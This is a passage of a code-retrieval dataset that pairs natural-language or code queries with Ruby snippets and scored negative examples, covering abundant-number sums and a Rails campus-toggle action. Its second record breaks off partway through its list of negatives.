query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
this works up to here, I have all the abundant numbers in the range of 1 to 28123, but not sure how to efficiently test whether or not a number can be written as the sum of two abundant numbers | def is_sum_of_abundants?(n)
@sums.include?(n)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def abundant_number?(num)\n num < (1...num).select{|n| num % n == 0}.reduce(:+)\nend",
"def isSumOfTwoAbundantNumbers n\n\n # we'll cycle over all abundant numbers less than n / 2\n if n / 2 < @@listOfAbundants.first\n return false\n end\n\n if @@listOfAbundants.last < n / 2\n for i in ((@@listOfAbundants.last + 1)..n)\n if isAbundant i\n @@listOfAbundants.push i\n end\n end\n end\n\n for a in @@listOfAbundants\n if a > n /2 \n return false\n end\n \n pair = n - a\n if @@listOfAbundants.include? pair\n return true\n end\n end\n\nend",
"def non_abundant_sums\n\t# get set of all sums of two abundant numbers\n\tabundant_sums = sums_of_two_abundants(MAX_VAL)\n\n\t# get sum of all numbers less than 28123 which are not a part of the abundant_sums set\n\tsum = 0\n\t(1..MAX_VAL).each{|num| sum += num unless abundant_sums.include?(num)}\n\n\tsum\nend",
"def sum_of_abundant?(num)\n array = abundant_below(num)\n !array.select{|n| array.include?(num -n) }.empty?\nend",
"def non_abundant_sums\r\n max = 28123\r\n range = (2..28123)\r\n abundants = range.select{|n| abundant?(n) }\r\n numbers_made_from_abundants = []\r\n abundants.each do |i|\r\n abundants.each do |j|\r\n sum = i + j \r\n break if sum > max \r\n numbers_made_from_abundants << sum \r\n end \r\n end \r\n (range.to_a - numbers_made_from_abundants).reduce(:+)\r\nend",
"def abundant?(num)\n return false if num == 1\n divisor_sum = (1..num/2).select {|divisor| num % divisor == 0}.reduce(:+)\n return true if divisor_sum > num\n end",
"def is_abundant?(num)\n return false if proper_divs(num).length == 0\n return true if proper_divs(num).inject(:+) > num\n return false\nend",
"def abundant?(num)\nend",
"def abundant?(num)\n\nend",
"def abundant?(num)\n\nend",
"def isAbundant(n)\n return getDivSums(n) > n\nend",
"def is_abundant?(num)\n\tfind_proper_divisors_sum(num) > num\nend",
"def isAbundant(num)\r\n\tsumDiv = 0\r\n\tfor i in 1..num.div(2)\r\n\t\tz = num.remainder(i)\r\n\t\tif z == 0\r\n\t\t\tsumDiv = sumDiv + i\r\n#\t\t\tprint i, \" \"\r\n\t\tend\r\n\tend\r\n#\tprint \"Sum = \", sumDiv, \" \"\r\n\tif num == sumDiv\r\n#\t\tprint \"ABUNDAND NUMBER\"\r\n\t\treturn true\r\n\telse\r\n\t\treturn false\r\n\tend\r\n#\tprint \"\\n\"\r\nend",
"def abundant?(num)\n\n factors = []\n (1...num).each do |int|\n if num % int == 0\n factors << int\n end\n end\n\n sum_of_factors = factors.reduce(:+)\n\n if sum_of_factors > num\n return true\n end\n\n false\n\nend",
"def abundance\n\tbeginning = Time.now\n\t# stores all abundant number\n\tabundance_array = []\n\t# stores all combinations of two abundant number sums\n\tabundance_sum_array = []\n\t# stores all integers that cannot be calculated by sum of two abundant numbers\n\tnon_abundance_array = []\n\n\t# loop to find all abundant numbers and push into an array\n\tx = 1\n\twhile x <= 28123\n\t\ty = 1\n\t\ttotal = 0\n\t\twhile y < x\n\t\t\tif x%y == 0\n\t\t\t\ttotal = total + y\n\t\t\tend\n\t\t\ty+=1\n\t\tend\n\t\tif total > x\n\t\t\tabundance_array << x\n\t\tend\n\t\tx+=1\n\tend\n\tp abundance_array.count\n\n\t# loop to find all abudant number sums\n\tnumber = 0\n\twhile number < abundance_array.count\n\t\tabundance_array.each do |x|\n\t\t\tsum = abundance_array[number] + x\n\t\t\tif abundance_array[number] != x\n\t\t\t\tabundance_sum_array << sum\n\t\t\tend\n\t\tend\n\t\tnumber+=1\n\tend\n\tputs \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n\tputs 6965*6964\n\tp abundance_sum_array.count \n\n\t# loop to find all numbers that cannot be found by adding 2 abundant numbers together\n\tx = 1\n\twhile x <= 28123\n\t\tif !abundance_sum_array.include?(x)\n\t\t\tnon_abundance_array << x\n\t\tend\n\t\tp x\n\t\tx+=1\n\tend\n\n\tputs \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n\tp non_abundance_array.count\n\n\tfinal_total = 0\n\tnon_abundance_array.each do |x|\n\t\ttotal = total + x\n\tend\n\tputs \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n\tputs \"The answer is: #{final_total}!\"\n\tputs \"This algorithm took #{Time.now-beginning} seconds to run\"\nend",
"def abundant_below(num)\n (12...(num/2 +1)).select{|n| abundant_number?(n)}\nend",
"def is_abundant?(n)\n return false if n<2\n\n s = 1\n 2.upto(Math.sqrt(n).to_i) do |i|\n if ((n % i) == 0 )\n s += i\n s += (n/i) unless (n/i == i)\n\n return true if s > n\n end\n end\n return false\nend",
"def amicable_numbers(n1,n2)\n divisors_sum(n1) == n2 && divisors_sum(n2) == n1\nend",
"def can_be_summed_by_two_abunds?(n, arr)\n i = 0\n while i < arr.length-1\n j = i+1\n while j < arr.length\n if arr[i] + arr[j] == n\n return true\n end\n j+=1\n end\n i+=1\n end\n return false\nend",
"def can_sum(target_sum, numbers)\n return true if target_sum == 0 # 0 can be generated by taking no numbers from the array\n return false if target_sum < 0\n\n for num in numbers\n remainder = target_sum - num\n return true if can_sum(remainder, numbers) == true\n end\n\n return false\nend",
"def is_sum_of_any_two(target, numbers)\n for index1 in 0...numbers.length - 1\n for index2 in index1 + 1...numbers.length\n if (numbers[index1] + numbers[index2]) == target\n return true\n end\n end\n end\n false\nend",
"def bad_two_sum?(arr, target_sum)\n arr.size.times do |start|\n (start + 1...arr.size).each do |stop|\n return true if arr[start] + arr[stop] == target_sum\n end\n end\n false\nend",
"def sum_to_n?(ints, n)\n\t# ints.each{|first|\n\t# \tints.each{|second|\n\t# \t\treturn true if first + second == n\n\t# \t}\n\t# }\n\t# return false\n\tif ints.empty?\n\t\tints[0,1] = 0,0\n\t\t# return n == 0 ? true : false\n\tend\n\n\tcombinations = ints.combination(2).to_a\n\tcombinations.each{|c|\n\t\treturn true if c[0] + c[1] == n\n\t}\n\treturn false\nend",
"def abundant?\n divisors.reduce(:+) > self\n end",
"def is_abundant?(n)\n factors(n).reduce(0, :+) > n\nend",
"def good_two_sum?(arr, target)\n counter_hash = Hash.new(0)\n arr.each do |el|\n counter_hash[el] += 1\n end\n\n arr.each do |el|\n search_val = target - el\n if counter_hash[search_val] && search_val==el\n return true if counter_hash[search_val] >= 2\n elsif counter_hash[search_val] > 0\n return true\n end\n end\n false\nend",
"def non_abundant_sums(limit)\r\n\tabundant = []\r\n\t# Find all abundant numbers below limit\r\n\t(1..limit).each do |num|\r\n\t\tsum = 1\r\n\t\t#Start counting factors for num\r\n\t\t#Only need to go up to sqrt of num for factors\r\n\t\t(2..Math.sqrt(num)).each do |n|\r\n\t\t\t#If a factor set, increase sum by both factors\r\n\t\t\tif num%n == 0\r\n\t\t\t\tunless n**2 == num\r\n\t\t\t\t\tsum += (n + num/n)\r\n\t\t\t\t#If a perfect square, only increase sum by n\r\n\t\t\t\telse\r\n\t\t\t\t\tsum += n\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\t\t# Check if abundant and add to array\r\n\t\tabundant << num if num < sum\r\n\tend\r\n\r\n\t# Create a boolean hash to store if a number is a non-abundant sum\r\n\tnon_abundant_sums = {}\r\n\t(1..limit).each do |x|\r\n\t\tnon_abundant_sums[x] = true\r\n\tend\r\n\r\n\t# Iterate through all abundant numbers and mark false on non_abundant_sums array for all sums\r\n\t(0...abundant.length).each do |i|\r\n\t\tputs i\r\n\t\t(i...abundant.length).each do |j|\r\n\t\t\tnon_abundant_sums[abundant[i] + abundant[j]] = false\r\n\t\tend\r\n\tend\r\n\r\n\t# Add all the true non_abundant_sums left over\r\n\tsum = 0\r\n\tnon_abundant_sums.each do |key, value|\r\n\t\tsum += key if value\r\n\tend\r\n\tputs sum\r\nend",
"def sum_to_n?(numbers, n)\n\tif numbers.length == 0\n\t\tif n == 0\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\telse\n\t\treturn numbers.permutation(2).any?{|pair| pair.inject(:+) == n}\n\tend\nend",
"def two_sums?(arr, target)\n # number_count = Hash.new(0)\n #\n # arr.each do |num|\n # number_count[num] += 1\n # end\n #\n # arr.each do |num|\n # other_num = target - num\n # number_count[num] -= 1\n # return true if number_count.include?(other_num) && number_count[other_num] > 0\n # end\n #\n # false\n set = Set.new(arr)\n arr.each do |num|\n set.delete(num)\n return true if set.include?(target - num)\n end\n false\nend",
"def perfect_number?(num)\n num == aliquot_sum(num)\nend",
"def bad_two_sum?(arr, target)\n arr.each_with_index do |num1, idx1| #O(n)\n arr.each_with_index do |num2, idx2| #O(n)\n return true if idx2 > idx1 && num1 + num2 == target #O(1)\n end\n end\n false\nend",
"def sum_to_n?(array,n)\n if array.empty? || array.count == 1\n false\nend\n if array.combination(2).detect {|a,b| a+b ==n}\n true\n end\nend",
"def bad_two_sum?(arr, target_sum) \n arr.each_with_index do |num, idx|\n arr.each_with_index do |num2, idx2|\n next if idx2 == idx\n return true if num2 + num == target_sum\n end\n end\n false\nend",
"def bad_two_sum?(arr, target_sum)\n arr.length.times do |i|\n (arr.length - i - 1).times do |j|\n return true if arr[i] + arr[j + i + 1] == target_sum\n end\n end\n false\nend",
"def bad_two_sum?(arr, target_sum) #O(n^2)\n (0...arr.length).each do |i|\n (i+1...arr.length).each do |j|\n return true if arr[i] + arr[j] == target_sum\n end\n end\n false\nend",
"def bad_two_sum?(arr, target)\n (0...arr.length).each do |idx1|\n return true if arr[idx1] == target\n (idx1+1...arr.length).each do |idx2|\n return true if (arr[idx1] + arr[idx2]) == target\n end\n end\n false\nend",
"def sums_of_two_abundants(max)\n\t# get array of all abundant numbers less than max\n\tabundant_nums = find_abundant_numbers(max).to_a\n\n\t# will store every sum of two abundant numbers\n\tsums_of_abundants = Set.new\n\n\t# find every (inclusive) combination of two abundant numbers and store their sum in sums\n\tabundant_nums.each_with_index do |abundant_first, i|\n\t\tabundant_nums[i..-1].each do |abundant_last|\n\t\t\tsums_of_abundants.add(abundant_first + abundant_last)\n\t\tend\n\tend\n\n\tsums_of_abundants\nend",
"def validate_checksum\n nums_a = number.to_s.chars.map(&:to_i)\n w_sum = nums_a[0..-2].reverse_each.map.with_index { |d, i|\n i.even? ? LUHN_MAPPING[d] : d\n }.reduce(&:+)\n -w_sum % 10 == nums_a[-1]\n end",
"def narcissistic?(num)\n digits = num.to_s.chars.map(&:to_i)\n pwrs = digits.map! { |digit| digit**digits.size }\n pwrs.reduce(:+) == num\nend",
"def bad_two_sum?(arr, target_sum)\n (0...arr.length - 1).each do |i|\n (i + 1..arr.length - 1).each do |j|\n return true if arr[i] + arr[j] == target_sum\n end\n end\n false\nend",
"def sum_to_n? arr, n\n !!arr.uniq.combination(2).detect { |x, y| x + y == n }\nend",
"def featured(number)\n sum = 7\n loop do \n return \"There is no possible number that fulfills those requirements\" if number >= 9_876_543_210\n if sum <= number\n sum += 7\n elsif sum.even?\n sum += 7\n elsif sum.digits.uniq != sum.digits\n sum += 7\n else\n break\n end\n end\n sum\nend",
"def find_abundant_numbers(max)\n\tabundant_nums = Set.new\n\n\t# all numbers to check if they are abundant\n\trange_arr = (2...max).to_a\n\n\tuntil range_arr.empty?\n\t\tnum = range_arr.shift\n\n\t\tif is_abundant?(num)\n\t\t\t# store num in set of abundant nums\n\t\t\tabundant_nums.add?(num)\n\n\t\t\t# all multiples of abundant nums will be also be abundant, so store those too\n\t\t\t# this enhances efficiency by avoiding having to build a list of proper divisors for those numbers\n\t\t\tmultiple = num\n\t\t\twhile multiple < range_arr.length\n\t\t\t\tabundant_nums.add?(range_arr[multiple - 1]) if range_arr[multiple - 1]\n\t\t\t\t# mark as already stored\n\t\t\t\trange_arr[multiple - 1] = false\n\t\t\t\t# get index+1 of next multiple\n\t\t\t\tmultiple += num\n\t\t\tend\n\t\tend\n\n\t\t# find next number that hasn't already been added to abundant_nums\n\t\trange_arr.shift while range_arr[0] == false\n\tend\n\n\t# return set of abundant nums\n\tabundant_nums\nend",
"def check_report(input, number, total)\n input.combination(number).detect { |tuple| tuple.sum == total }.reduce(:*)\nend",
"def sum_to_n?(int_array, n)\n return false unless int_array.respond_to?(:combination)\n \n int_array.uniq.combination(2).detect {|arr| sum(arr) == n }\nend",
"def hardcore_two_sum?(arr, target)\n nums = {}\n arr.each{ |n| nums[n] = n }\n\n nums.each do |n,_|\n needed = target - n\n return true if !nums[needed].nil? && nums[needed] != n\n end\n\n false\nend",
"def bad_two_sum?(arr, target_sum)\n arr.each_with_index do |num1, i|\n arr[i..-1].each do |num2|\n next if num1 == num2\n\n return true if (num1 + num2) == target_sum\n end\n end\n\n false\nend",
"def bad_two_sum?(arr, target_sum)\n (0...arr.length - 1).each do |i|\n (i+1...arr.length).each do |j|\n return true if arr[i] + arr[j] == target_sum\n end\n end\n return false\nend",
"def bad_two_sum?(arr, target)\n arr.each_with_index do |num1,idx1|\n i = idx1 + 1\n while i < arr.length\n return true if num1 + arr[i] == target\n i+=1\n end\n end\n false\nend",
"def bad_two_sum?(arr, target_sum)\n arr.each_with_index do |o_el, o_idx|\n arr.each_with_index do |i_el, i_idx|\n next if o_idx == i_idx\n return true if o_el + i_el == target_sum\n end\n end\n false\nend",
"def two_sum(array, target)\n\n !!array.uniq.combination(2).detect { |a, b| a + b == target }\nend",
"def sum_to_n? (int_array, n)\r\n found = false\r\n secondAddendCandidates = []\r\n int_array.each do |num|\r\n # Check if we found the 2nd addend \r\n if secondAddendCandidates.include? num\r\n found = true\r\n break\r\n else\r\n # Key = candidate for the 2nd addend in the sum\r\n secondAddendCandidates << n-num\r\n end\r\n end\r\n\r\n found\r\nend",
"def hash_map_two_sum?(arr, target_sum)\n hash = Hash.new(0)\n arr.each do |num|\n hash[num] += 1\n end\n arr.each do |num|\n target = target_sum - num\n hash[num] -= 1\n return true if hash[target] > 0\n hash[num] += 1\n end\n false\nend",
"def nonoverlaping_sums?\n @good_sums.each_with_index do |sum1, idx1|\n @good_sums[idx1+1..-1].each do |sum2|\n return true if sum1 & sum2 == 0\n end\n end\n false\n end",
"def bad_two_sum?(arr, target)\n (0...arr.length).each do |i|\n (i+1...arr.length).each do |j|\n return true if arr[i] + arr[j] == target\n end\n end\n false\nend",
"def strange_sums(nums)\n count = 0\n nums.combination(2) {|pair| count += 1 if pair[0] + pair[1] == 0}\n count\nend",
"def bad_two_sum?(arr, target)\n sums = []\n arr.each_index do |i|\n (i+1...arr.length).each do |j|\n sums << arr[i] + arr[j]\n end\n end\n sums.include?(target)\nend",
"def bad_two_sum?(arr, target_sum)\n arr.each_with_index do |ele1, idx1|\n arr.each_with_index do |ele2,idx2|\n if idx2 > idx1 && arr[idx1] + arr[idx2] == target_sum\n return true\n end\n end\n end\n false\nend",
"def bad_two_sum?(arr, target_sum)\r\n arr.each_with_index do |ele1, i1|\r\n arr.each_with_index do |ele2, i2|\r\n return true if i2 != i1 && (ele1 + ele2 == target_sum)\r\n end\r\n end\r\n\r\n false\r\nend",
"def sum_to_n? arr, n\n\n if arr.empty? \n sum = false\n elsif arr.count == 1\n \tsum = false\n else\n x = arr.combination(2).each { |s| (s[0] + s[1]) }\n if x.include? n\n sum = true\n else\n sum = false\n end\n end\n\nend",
"def bad_two_sum?(array, target)\n array.each.with_index do |el1, idx1|\n array.each.with_index do |el2, idx2|\n if el1 + el2 == target && idx2 > idx1\n return true \n end\n end\n end\n false \nend",
"def bad_two_sum?(arr, target)\n (0...(arr.length - 1)).each do |idx1|\n ((idx1 + 1)...arr.length).each do |idx2|\n return true if arr[idx1] + arr[idx2] == target\n end\n end\n false\nend",
"def okay_two_sum?(arr, target_sum)\n array = arr.sort #n log n\n i1 = 0\n i2 = array.length-1\n while i1 < i2\n case array[i1] + array[i2] <=> target_sum\n when 0\n return true\n when -1\n i1 += 1\n when 1\n i2 -= 1\n end\n end\n false\nend",
"def two_sum?(arr, target_sum) \n hash = Hash.new(0)\n arr.each do |num|\n hash[num] = 1 \n end \n\n arr.each do |num|\n num2 = target_sum - num\n next if num2 == num\n next if hash[num2].nil?\n return true if hash[num2] == 1\n end\n false\nend",
"def nonSumAb(n, abs)\n\t#for evey ab in abs\n\tfor i in abs\n\t\t#if it can be added to another abundant to get n\n\t\tif abs.include? n-i\n\t\t\t#return value false\n\t\t\treturn false\t\n\t\tend\n\tend\n\t#if no abundants can be added to get n return true\n\treturn true\nend",
"def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend",
"def amicable?(num1, num2)\n\tnum1 != num2 && proper_divisors(num1).inject(:+) == num2 && proper_divisors(num2).inject(:+) == num1\nend",
"def two_sum?(arr, target)\n hash = Hash.new(0)\n arr.each do |ele|\n hash[ele] += 1\n end\n arr.each do |ele|\n dif = target - ele\n if hash[dif] && (dif != ele || hash[dif] >= 2 )\n # if hash.include?(dif) && (dif != ele || hash[dif] >= 2 ) \n return true \n end\n end\n false\nend",
"def is_happy_1?(n, sums = [])\n return false if n.to_i < 1 || sums.include?(n)\n return true if n == 1\n sums << n \n numbers = n.to_s.split('')\n total = numbers.sum{|i| i.to_i * i.to_i }\n is_happy_1?(total, sums)\nend",
"def isLucky(n)\n a = n.to_s.split(\"\")\n full = a.count - 1\n half = a.count/2 - 1\n \n total_1 = 0\n total_2 = 0\n \n for i in 0..full\n if i > half\n total_2 += a[i].to_i\n else\n total_1 += a[i].to_i\n end\n end\n \n if total_1 == total_2\n true\n else\n false\n end\nend",
"def valid_checksum?(numbers) #:nodoc:\n sum = 0\n\n odd = true\n numbers.reverse.bytes.each do |number|\n if odd\n odd = false\n sum += ODD_LUHN_VALUE[number]\n else\n odd = true\n sum += EVEN_LUHN_VALUE[number]\n end\n end\n sum % 10 == 0\n end",
"def isLucky(n)\r\nhalf1 = []\r\nhalf2 = []\r\nn_string = n.to_s\r\n\r\n\r\nfirsthalf = (n_string.length / 2) - 1\r\nsecondhalfstart = (n_string.length / 2)\r\nsecondhalfend = (n_string.length - 1)\r\n(0..firsthalf).each do |idx|\r\n half1 << n_string[idx].to_i\r\nend\r\n\r\n(secondhalfstart..secondhalfend).each do |idx|\r\n half2 << n_string[idx].to_i\r\nend\r\n\r\nreturn true if half1.inject(:+) == half2.inject(:+)\r\nreturn false\r\nend",
"def two_sum?(arr, target_sum)\n debugger\n complements = {}\n\n arr.each do |el|\n return true if complements[target_sum - el]\n complements[el] = true\n end\n\n false\nend",
"def sum_of_proper_divisors(n)\n\n sum_factor1 = factors_numbers(n).reduce(:+)\n number2 = sum_factor1\n sum_factor2 = factors_numbers(number2).reduce(:+)\n if (n == sum_factor2) && (number2 == sum_factor1) && (n != number2)\n return \"Yes, amicable with #{number2}\" \n else\n \"No\"\n end \n\nend",
"def bad_two_sum?(arr, target)\n found = false\n arr.each_with_index do |a, l|\n arr.each_with_index do |b, n|\n next if l == n\n found = true if arr[l] + arr[n] == target\n end\n end\n found\nend",
"def sum_to_n? arr, n\n match = arr.combination(2).find { |x, y| x + y == n }\n if match\n return true\n else\n return false\n end\nend",
"def two_sum?(arr, target_sum)\n hash = Hash.new(0)\n arr.each_with_index do |num, idx|\n hash[num] = idx\n end\n arr.each_with_index do |num, idx|\n return true if hash.has_key?(target_sum - num) && idx != hash[target_sum - num]\n end\n false\nend",
"def better_two_sum?(arr, target_sum)\n hash = {}\n arr.each_with_index do |ele,i|\n hash[ele] = i\n end\n arr.each_with_index do |ele,i|\n target = target_sum - ele\n return true if !hash[target].nil? && i != hash[target]\n end\n \n false\nend",
"def solution(n)\n sum = 0\n (1...n).each { |num| num % 3 == 0 || num % 5 == 0 ? sum += num : false }\n sum\nend",
"def two_sum?(arr, target_sum)\n h = Hash.new(0)\n\n arr.each { |num| h[num] += 1 }\n\n h.each do |key, v|\n subtarget = target_sum - key\n if h[subtarget] != 0 && (subtarget != key || (subtarget == key && v > 1))\n return true \n # if subtarget == key\n # return true if v > 1\n # end\n # return true\n end \n end\n false\n\nend",
"def sum_to_n?(ints, n)\n return n == 0 if ints.size == 0\n (0...ints.size).each_with_index do |i|\n (i+1...ints.size).each do |j|\n return true if (ints[i]+ints[j]==n)\n end\n end\n return false\nend",
"def a_sum?(num, game_array)\n\tarray_of_sums = []\n\tarray_of_sums << game_array[0]\n\n\tgame_array.each_index do |i|\n\t\tgame_array.each_index do |j|\n\t\t\tunless i == j\n\t\t\t\tarray_of_sums << game_array[i] + game_array[j]\n\t\t\tend\n\t\tend\n\tend\n\tif ([num] & array_of_sums).length > 0\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend",
"def sum_to_n?(a, n)\n result = false\n\n while a.length > 1\n e1 = a.slice!(0)\n a.each {|e2| e2 + e1 == n ? result = true : break }\n end\n\n result\nend",
"def make_sum?(num, game_array) \n\tarray_of_sums = []\n\n\tgame_array.each do |i|\n\t\tarray_of_sums << i + num\n\tend\n\tif (array_of_sums & game_array).length > 0\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend",
"def isLucky(n)\n sum, sum2 = 0, 0\n arr = n.to_s.split(\"\")\n \n first_half = arr.take(arr.size / 2) \n second_half = arr.drop((arr.size / 2))\n first_half.each { |x| sum += x.to_i }\n second_half.each {|x| sum2 += x.to_i}\n \n sum == sum2\nend",
"def sum_to_n?( arr, n )\n return false if arr.nil? or arr.empty? or arr.length == 1\n arr.each do |first|\n arr.each do |second|\n return true if (first + second == n) and first != second\n end\n end\n false\nend",
"def bad_sum?(arr, target)\n\n (0...arr.length).each do |idx|\n (idx + 1...arr.length).each do |jdx|\n return true if arr[idx] + arr[jdx] == target\n end\n end\n false\nend",
"def is_armstrong(n)\n n_str=n.to_s()\n char_list=n_str.split(//)\n int_list=char_list.map {|x| (x.to_i())**(n_str.length()) }\n mysum = int_list.reduce(0) { |sum, num| sum + num }\n return (mysum==n)\nend",
"def lucky_sevens?(numbers)\n\tnumbers.each_cons(3) { |group| return true if group.reduce(:+) === 7 }\n\tfalse\n\t\nend",
"def two_sum?(array, target_sum)\n matches = {}\n array.each do |num|\n return true if matches.has_key?(target_sum - num)\n matches[num] = 1\n end\n false\nend",
"def sum_to_n? arr, n\n arr = arr.combination(2).to_a\n arr.any? {|a| a.sum == n} ? true : false\nend",
"def isLucky(n)\n n = n.to_s.split('').map(&:to_i)\n n.shift(n.size/2).reduce(:+) == n.reduce(:+)\nend",
"def bad_two_sum?(arr, target)\n zero_sum = false\n arr.each_with_index do |el1, idx1|\n arr.drop(idx1).each do |el2|\n zero_sum = true if el1 + el2 == target\n end\n end\n zero_sum\nend",
"def perfect_num?(n)\n if n == 1\n return \"deficient\"\n end\n div_array = []\n (1...n).each do |x|\n if n % x == 0\n div_array << x\n end\n end\n sum = div_array.inject(:+)\n if sum < n\n return \"deficient\"\n elsif sum == n\n return \"perfect\"\n else\n return \"abundant\"\n end\nend",
"def sum_to_n? arr, n\n # Creates an array of every possible pair in arr and finds pair that sums n\n if arr.combination(2).find{|a,b| a + b == n}\n return true\n else\n return false\n end\nend",
"def check_special_sum(set)\n\n sums = Array.new\n # initialize the sums array with the set elements\n #set.each { |i| verify_no_sums(sums, i) }\n \n max = 2**set.size-1\n (1..max).each do |i|\n subset = generate_subset(set, i) \n puts \"subset: \" + subset.join(' ')\n sum = subset.inject(0) { |sum,j| sum += j }\n unless verify_no_sum(sums, sum)\n return false\n end\n end\n return true\nend",
"def okay_two_sum?(arr, target)\n arr.sort!\n pairs = arr.combination(2)\n pairs.any? { |pair| pair.sum == target }\nend",
"def valid?(account)\n\tdigits = account.to_s.reverse.chars.map(&:to_i)\n\t# digits = account.to_s.reverse.chars.map { |c| c.to_i }\n \tcheck_sum = 0\n\n\tdoubled_digits = digits.with_index { |num, index| index.odd? ? num * 2 : num }\n\n\tdigits.each_slice(2) do |odd, even|\n \tcheck_sum += odd\n \tnext unless even\n \teven *= 2\n \teven = even.divmod(10).inject(:+) if even > 9\n \tcheck_sum += even\n end\n\n # look to refactor\n check_sum % 10 == 0\n check_sum.modulo(10) == 0\n\nend",
"def narcissistic?(value)\n digit_count = value.digits.length\n return value == value.digits.map! { |d| d**digit_count }.reduce(:+)\nend",
"def bad_two_sum?(arr, target)\n\n arr.each.with_index do |x, idx|\n arr.each.with_index do |y, idy|\n if idx == idy\n next\n else\n if (x + y) == target\n return true\n end\n end\n end\n end\n\n return false\n\nend"
] | [
"0.80316055",
"0.7990266",
"0.7920785",
"0.7843548",
"0.7801461",
"0.7795489",
"0.7739949",
"0.76290464",
"0.7471545",
"0.7471545",
"0.74108773",
"0.74044967",
"0.7341604",
"0.732063",
"0.7242888",
"0.7231845",
"0.7185026",
"0.7136327",
"0.70275944",
"0.69505507",
"0.6944308",
"0.69322145",
"0.68901277",
"0.68900675",
"0.687976",
"0.68768156",
"0.68696225",
"0.6867248",
"0.684986",
"0.6836285",
"0.6833491",
"0.68322486",
"0.6824593",
"0.68130577",
"0.6783019",
"0.67801064",
"0.6771257",
"0.6766508",
"0.67632735",
"0.67520654",
"0.6751859",
"0.67480034",
"0.67461115",
"0.674574",
"0.67317075",
"0.67310625",
"0.672433",
"0.6717621",
"0.6712858",
"0.6705667",
"0.66881895",
"0.66858804",
"0.667779",
"0.6676239",
"0.6675854",
"0.66749895",
"0.66749716",
"0.66698",
"0.6669256",
"0.6660152",
"0.6653082",
"0.6642292",
"0.6638583",
"0.6627142",
"0.66264504",
"0.66154563",
"0.6615001",
"0.66083574",
"0.6595025",
"0.65929294",
"0.6579173",
"0.65749764",
"0.65728575",
"0.6569525",
"0.65634763",
"0.65602",
"0.6560029",
"0.65541977",
"0.654983",
"0.6535924",
"0.6534372",
"0.65295637",
"0.6522197",
"0.65218794",
"0.6520596",
"0.65141463",
"0.6513324",
"0.6511137",
"0.6509773",
"0.6503888",
"0.64972967",
"0.64937776",
"0.6492125",
"0.64896625",
"0.6488077",
"0.6476231",
"0.6474513",
"0.64719737",
"0.64690053",
"0.64616334"
] | 0.6979998 | 19 |
Changes the currently selected campus | def toggle_campus
if (params[:campus] == 'tagus')
session[:campus] = :tagus
session[:center] = APP_CONFIG[:tagus_center]
session[:zoom] = APP_CONFIG[:tagus_zoom]
else
session[:campus] = :alameda
session[:center] = APP_CONFIG[:alameda_center]
session[:zoom] = APP_CONFIG[:alameda_zoom]
end
render(:update) do |page|
page.replace_html 'campus_placeholder', :partial => '/sounds/campus'
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_campus\n @campus = Campus.find(params[:id])\n end",
"def set_campus\n @campus = Campus.find(params[:id])\n end",
"def set_campus\n @campus = FortyTwo::Campus.find(params[:id])\n end",
"def set_camp\n @camp = Camp.find(params[:campid])\n end",
"def set_camp\n @camp = Camp.find(params[:id])\n end",
"def set_camp\n @camp = Camp.find(params[:id])\n end",
"def set_camp\n\t\t\t@camp = Camp.find(params[:id])\n\t\tend",
"def set_campsite\n @campsite = Campsite.find(params[:id])\n end",
"def set_campus_user\n @campus_user = FortyTwo::CampusUser.find(params[:id])\n end",
"def set_campu_type\n @campu_type = CampuType.find(params[:id])\n end",
"def campus_code=(v)\n @campus_code = alma_string v, 50\n end",
"def set_campana\n @campana = Campana.find(params[:id])\n end",
"def set_campsite\n @campsite = Campsite.find(params[:id])\n end",
"def set_campanium\n @campanium = Campanium.find(params[:id])\n end",
"def set_camping\n @camping = Camping.find(params[:id])\n end",
"def set_campingsite\n @campingsite = Campingsite.find(params[:id])\n end",
"def set_campanha\n @campanha = Campanha.find(params[:id])\n end",
"def edit\n @campsite = Campsite.find params[:id]\n end",
"def set_camp_request\n @camp_request = CampRequest.find(params[:id])\n end",
"def update\n @campus = @university.campuses.find(params[:id])\n authorize! :update, @campus, :message => 'Acceso denegado.'\n @modal_title = \"Editar Campus\"\n\n respond_to do |format|\n if @campus.update_attributes(params[:campus])\n format.html { redirect_to [@university, @campus], notice: t(\"activerecord.alerts.campus.updated\") }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @campus.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\t\t{ render action: \"edit\" }\n end\n end\n end",
"def campus_params\n params.require(:campus).permit(:name, :city)\n end",
"def campus_params\n params.require(:campus).permit(:name, :description)\n end",
"def set_causa\n @causa = Causa.find(params[:id])\n end",
"def set_campus_recuritment\n @campus_recuritment = CampusRecuritment.find(params[:id])\n end",
"def set_cour\n @cour = Cour.find(params[:id])\n end",
"def set_court\n @court = Court.find(params[:id])\n end",
"def set_tea_club\n @tea_club = TeaClub.find(params[:id])\n end",
"def set_coursera\n @coursera = Coursera.find(params[:id])\n end",
"def set_club\n\t\t\t@club = Club.find(params[:id])\n\t\tend",
"def set_camping_equipment\n @camping_equipment = CampingEquipment.find(params[:id])\n end",
"def edit_staff_member(selected)\n\tedit_staff_member_name(selected)\n\tedit_staff_member_email_address(selected)\nend",
